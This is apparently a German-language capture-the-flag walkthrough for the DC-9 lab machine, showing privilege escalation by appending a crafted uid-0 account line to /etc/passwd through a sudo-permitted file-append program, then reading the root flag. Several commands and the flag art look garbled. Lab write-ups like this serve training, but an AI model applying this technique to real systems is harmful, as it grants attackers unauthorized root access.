Es wird versucht, sich als `fredf` anzumelden.

janitor@dc-9/.secrets-for-putin$ su fredf
Password:
fredf@dc-9:/home/janitor/.secrets-for-putin$

Die Anmeldung als `fredf` war erfolgreich.

Nach der Anmeldung wird geprüft, welche `sudo`-Rechte der Benutzer `fredf` hat.

fredf@dc-9:/home/janitor/.secrets-for-putin$ sudo -l
Matching Defaults entries for fredf on dc-9:
env_reset, mail_badpass,
secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

User fredf may run the following commands on dc-9:
(root) NPASSWD: /opt/devstuff/dist/test/test

Der Benutzer `fredf` darf das Programm `/opt/devstuff/dist/test/test` als `root` ausführen. Dies ist eine potenzielle Möglichkeit zur Privilege Escalation.

Es wird versucht, das Programm `/opt/devstuff/dist/test/test` auszuführen, um weitere Informationen zu erhalten.

fredf@dc-9:/home/janitor/.secrets-for-putin$ /opt/devstuff/dist/test/test
Usage: python test.py read append

Das Programm benötigt zwei Argumente: `read` und `append`.

Es wird versucht, die `/etc/shadow`-Datei mit dem Programm `/opt/devstuff/dist/test/test` zu lesen.

fredf@dc-9:/home/janitor/.secrets-for-putin$ sudo -u root python test.py read /etc/shadow
[sudo] password for fredf:
Sorry, user fredf is not allowed to execute '/usr/bin/python test.py read /etc/shadow' as root on dc-9.

Der Benutzer `fredf` darf das Programm `/usr/bin/python test.py read /etc/shadow` nicht als `root` ausführen.

Es wird nach dem Speicherort der `test.py`-Datei gesucht.

fredf@dc-9:/home/janitor/.secrets-for-putin$ find / -name test.py 2>/dev/null
/opt/devstuff/test.py
/usr/lib/python3/dist-packages/setuptools/command/test.py

Die `test.py`-Datei befindet sich unter `/opt/devstuff/test.py`.

Der Inhalt der `test.py`-Datei wird angezeigt.

fredf@dc-9:/home/janitor/.secrets-for-putin$ cat /opt/devstuff/test.py
#!/usr/bin/python

import sys

if len (sys.argv) != 3 :
print ("Usage: python test.py read append")
sys.exit (1)

else :
f = open(sys.argv[1], "r")
output = (f.read())

f = open(sys.argv[2], "a")
f.write(output)
f.close()

Die `test.py`-Datei liest den Inhalt der ersten Datei und schreibt ihn an das Ende der zweiten Datei.

Es wird versucht, die `test.py`-Datei auszuführen, um die `/etc/shadow`-Datei zu lesen.

fredf@dc-9:/home/janitor/.secrets-for-putin$ python test.py /etc/shadow
python: can't open file 'test.py': [Errno 13] Permission denied

Der Benutzer hat keine Berechtigung, die `test.py`-Datei auszuführen.

Es wird versucht, die `test.py`-Datei mit `sudo` auszuführen, um die `/etc/shadow`-Datei zu lesen.

fredf@dc-9:/home/janitor/.secrets-for-putin$ sudo -u root python test.py /etc/shadow
[sudo] password for fredf:
Sorry, user fredf is not allowed to execute '/usr/bin/python test.py /etc/shadow' as root on dc-9.

Der Benutzer `fredf` darf die `test.py`-Datei nicht mit `sudo` ausführen.

fredf@dc-9:/home/janitor/.secrets-for-putin$ sudo python test.py /etc/shadow
[sudo] password for fredf:
Sorry, user fredf is not allowed to execute '/usr/bin/python test.py /etc/shadow' as root on dc-9.

Da die oben genannten angriffe alle fehlschlugen, wurde der Box neuen Speicher zugewiesen, damit der Hack funktioniert.

Proof of Concept: Privilege Escalation

Dieser Abschnitt demonstriert, wie die Schwachstelle in `/opt/devstuff/dist/test/test` ausgenutzt werden kann, um Root-Rechte zu erlangen.

Das Ziel ist, einen neuen Benutzer mit Root-Rechten hinzuzufügen, indem die `/etc/passwd`-Datei manipuliert wird.

Voraussetzung ist, dass der Benutzer `fredf` das Programm `/opt/devstuff/dist/test/test` als Root ausführen darf.

┌──(root㉿CCat)-[~]
└─# ssh fredf@dc9.vln
fredf@dc9.vln's password:
Permission denied, please try again.
fredf@dc9.vln's password:
Linux dc-9 4.19.0-6-amd64 #1 SMP Debian 4.19.67-2+deb10u2 (2019-11-11) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSLUTELY N WARRANTY, to the extent
permitted by applicable law.

Es wird sich erneut als Benutzer fredf angemeldet, da die Sitzung abgelaufen ist

Es wird sich nun als Benutzer fredf angemeldet

fredf@dc-9$ cd /tmp/

Es wird in das /tmp Verzeichnis gewechselt.

fredf@dc-9:/tmp$ touch adddd

Es wird eine neue Datei adddd erstellt.

fredf@dc-9:/tmp$ nano adddd

Es wird die Datei adddd mit Nano geöffnet.

fredf@dc-9:/tmp$ cat adddd
benhacker:$6$EZdVo4XckcU2BJJi$IanX1gZA.t1nk2EgRy1SBDPGa69dLrCqv3eznvqru062GCQ6Eh7VQyXI3lKgsdItq3F/uMWs/VU/TR2E1tzF0:0:0:root:/root:/bin/bash

Der Inhalt der Datei wird ausgegeben, es wird ein neuer Benutzer erstellt

fredf@dc-9:/tmp$ sudo -u root /opt/devstuff/dist/test/test /tmp/adddd /etc/passwd

Es wird nun der neue Benutzer über den bekannten Exploit in die /etc/passwd hinzugefügt.

fredf@dc-9:/tmp$ grep ben /etc/passwd
benhacker:$6$EZdVo4XckcU2BJJi$IanX1gZA.t1nk2EgRy1SBDPGa69dLrCqv3eznvqru062GCQ6Eh7VQyXI3lKgsdItq3F/uMWs/VU/TR2E1tzF0:0:0:root:/root:/bin/bash

Über den Befehl grep wird geprüft ob der neue Benutzer hinzugefügt worden ist.

fredf@dc-9:/tmp$ su benhacker

Es wird nun versucht sich als den neuen Benutzer anzumelden.

Password:

Das Passwort wird abgefragt, nun muss das zuvor festgelegte Passwort eingegeben werden.

root@dc-9:/tmp# id

Es wird über den Befehl id geprüft mit welchen Rechten man angemeldet ist.

uid=0(root) gid=0(root) groups=0(root)

Da die uid und gid 0 sind, sind wir jetzt als `root` angemeldet. Fantastisch! Der Root-Zugriff war erfolgreich. Nun haben wir unser Ziel erreicht.

Privilege Escalation

Nachdem der Benutzer `benhacker` mit Root-Rechten hinzugefügt wurde, ist die Privilege Escalation abgeschlossen.

root@dc-9:/tmp# cd /root
root@dc-9: ls
theflag.txt
root@dc-9: cat theflag.txt
███╗   ██╗██╗ ██████╗███████╗    ██╗    ██╗ ██████╗ ██████╗ ██╗  ██╗██╗██╗██╗
████╗  ██║██║██╔════╝██╔════╝    ██║    ██║██╔═══██╗██╔══██╗██║ ████║██║██║
██╔██╗ ██║██║██║     █████╗      ██║ █╗ ██║██║   ██║███████████ ██║██║██║
██║╚██╗██║██║██║     ██╔══╝      ██║███╗██║██║   ██║██╔══██╗██╔═██╗ ╚═╝╚═╝╚═╝
██║ ╚████║██║╚██████╗███████╗    ╚███╔███╚████████║  ██║██║  ██╗██╗██╗██╗
╚═╝  ╚═══╝╚═╝ ╚═════╝╚══════╝     ╚══╝╚══╝  ╚═════╝ ╚═╝  ╚═╝╚═╝  ╚═╝╚═╝╚═╝╚═╝
╚═╝  ╚═══╝╚═╝ ╚═════╝╚══════╝     ╚══╝╚══╝  ╚═════╝ ╚═╝  ╚═╝╚═╝  ╚═╝╚═╝╚═╝

Der Inhalt der `theflag.txt`-Datei wird angezeigt, was den erfolgreichen Root-Zugriff bestätigt.

Flags

cat user.txt userflag
cat root.txt rootflag